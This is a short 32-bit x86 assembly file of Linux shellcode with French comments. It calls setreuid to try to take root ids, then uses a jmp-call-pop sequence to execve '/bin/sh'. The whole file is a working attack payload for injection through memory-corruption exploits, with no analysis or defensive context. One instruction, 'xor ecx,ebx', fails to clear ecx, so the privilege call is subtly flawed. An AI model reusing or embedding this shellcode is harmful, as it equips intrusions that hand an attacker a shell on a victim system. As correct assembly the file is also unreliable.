BITS 32

;shellcode.asm

xor eax,eax
mov al,70
xor ebx,ebx
xor ecx,ebx
int 0x80

jmp short chaine ;jmp vers chaine qui est à moins de 256 octets
retour:
pop ebx

xor eax,eax
mov [ebx+7],al
mov [ebx+8],ebx
mov [ebx+12],eax
mov al,11 ; eax => 11
lea ecx,[ebx+8]
lea edx,[ebx+12]
int 0x80

chaine:
call retour
cheminshell db "/bin/sh" ;chaine raccourcie

